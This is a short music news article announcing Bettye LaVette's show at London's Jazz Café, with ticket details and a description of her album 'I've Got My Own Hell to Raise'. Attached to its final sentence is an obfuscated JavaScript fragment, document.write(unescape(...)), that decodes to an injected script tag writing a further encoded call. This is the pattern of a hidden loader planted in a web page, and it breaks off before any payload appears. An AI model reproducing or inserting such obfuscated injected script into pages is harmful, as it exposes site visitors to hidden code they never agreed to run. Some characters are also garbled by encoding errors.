Bettye LaVette comes to the UK

Soul legend Bettye LaVette comes to the UK for a headlining show at London's Jazz Café on Monday 15th May. The concert follows the release of LaVette's much-vaunted album, ‘I've Got My Own Hell to Raise', last autumn.

Tickets for the show cost £16.50 in advance and £20.00 on the door.
They are available from See Tickets on 0870 060 3777 and can be booked online at www.jazzcafe.co.uk or www.meanfiddler.com .

LaVette is one of the supreme voices in soul music. Indeed Dave Godin, the esteemed English soul music writer and archivist, claimed: “There are dozens of really top-drawer female Soul singers in what is a highly competitive field, but few can match the flawless totality of conveyed experience that Bettye LaVette never fails to achieve.

“She is the consummate artist who can relate on every level. Take Bettye LaVette away from Soul music's history and there is a gap which no other person I can think of could have filled”.

Her latest album has been produced by Joe Henry, who was also responsible for Solomon Burke's Grammy-winning ‘Don't Give Up On Me' in 2002.

‘I've Got My Own Hell to Raise' comprises 10 tunes, all written by women. They range from country (Rosanne Cash's “On the Surface,” Dolly Parton's “Little Sparrow” and the obscure Bobbie Cryner's “Just Say So”) to rock (Lucinda Williams' “Joy”, Fiona Apple's “Sleep to Dream”, Sinead O'Connor's “I Do Not Want What I Have Not Got” and Joy of Cooking keyboardist Toni Brown's “Only Time Will Tell Me”) and the singer-songwriter tradition (Joan Armatrading's “Down to Zero”, Aimee Mann's “How Am I Different” and Sharon Robinson's “The High Road” -- the latter written expressly for Bettye).

The new album is the latest chapter in a long musical career that started in 1962 when, at the age of 16, Bettye recorded a tune called ‘My Man â€" He's a Lovin' Man' which was released by Atlantic Records, the first of many labels for whom Bettye LaVette recorded during the Sixties and Seventies.

Bettye LaVette's music has long since made an indelible impression on soul fans around the world â€" in the UK, for instance, she was one of the pivotal artists in the 1970's Northern Soul movement.

Her classic tunes include ‘Piece of My Heart' â€" a recording that clearly influenced Janis Joplin's version of the song â€" and ‘Your Turn To Cry', a mesmerizing deep soul performance released as a single by Atlantic's Atco label in 1972.

‘I've Got My Own Hell to Raise' appears on Anti-Records, which is also the label home of such artists as Tom Waits, Jolie Holland, Neko Case and Daniel Lanois.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22